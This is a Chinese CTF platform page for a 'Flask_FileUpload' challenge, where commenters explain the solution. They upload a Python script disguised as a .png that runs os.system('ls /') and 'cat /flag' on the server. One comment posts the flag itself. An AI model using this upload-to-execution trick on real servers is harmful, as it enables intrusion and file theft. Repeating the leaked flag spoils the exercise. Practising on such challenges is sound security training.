Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 12649
提  示:
描  述:
Flask_FileUpload
评论
wxhctf 2年前

1.审查源代码,发下只能上传png或者JPG格式文件 2.编辑文本文档,内容:import os (换行) os.system('ls /') ,修改文件类型为png,上传,在网页源代码注释中查看目录,发现flag 3.重新编辑文档 import os (换行) os.system('cat /flag'),修改上传,显示flag

回复 2

liekai16 2年前

首先新建一个文本文档,第一行输入import os,然后回车,第二行输入os.system('cat/flag'),之后将此文本文档后缀改为.png,最后提交只网页,打开控制台就可以看到flag了

回复 1

Caerus 2年前

第一行:import os第二行:os.system('cat /flag')

回复 0

鸡你太美 2年前

上传: import os os.system('cat /flag') 检查页面得flag{7c281d67c0b4cce08c951bdd26cf5bf3}

回复 0
roger30 2年前

import os;os.system('cat /flag')

回复 0

Liyihwa 2年前

为什么上传上去的文件会被服务器解释执行?

回复 0
kimizu 2年前

内容是py脚本,赋予可执行权限就行了啊

回复 0

zalm233 2年前

咋办啊

回复 1

zalm233 2年前

大佬们,他说 python3: can't open file '/app/upload/import': [Errno 2] No such file or directory

回复 2
avengert 2年前

文件名字不能用关键字命名。

回复 0

NosajUx 2年前

burpsuite修改WebKitFormBoundaryPLd中的内容应该可以省略新建文件修改后缀等步骤

回复 0

xlogsrc 2年前

文件上传成功了,在哪里看flag?有没有大佬给我解释一下

回复 0
星火燎原 2年前

网页源代码注释当中

回复 0

2921036032 2年前

import os print(os.listdir('/')) 查看根目录下有个flag文件 在os.system('cat /flag') 就可以得到flag,注意cat后要加空格

回复 3

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

cha8e1 攻破了该题 3小时前
yehlg 攻破了该题 1天前
yu'c 攻破了该题 1天前
avaclaire 攻破了该题 1天前
Kernel1 攻破了该题 1天前
脚本gay 攻破了该题 2天前
YS_JW 攻破了该题 2天前
池屿 攻破了该题 3天前
wujita01 攻破了该题 3天前
hsk_zy 攻破了该题 4天前
zhuguangsen 攻破了该题 4天前
Hackerchen 攻破了该题 4天前
mmhhdm 攻破了该题 4天前
yangyy 攻破了该题 4天前
simple9527 攻破了该题 4天前
bugfuck2 攻破了该题 4天前
Motona_Sky 攻破了该题 6天前
kitniu 攻破了该题 8天前
nanaqilin 攻破了该题 11天前
锅碗瓢盆 攻破了该题 12天前
问题反馈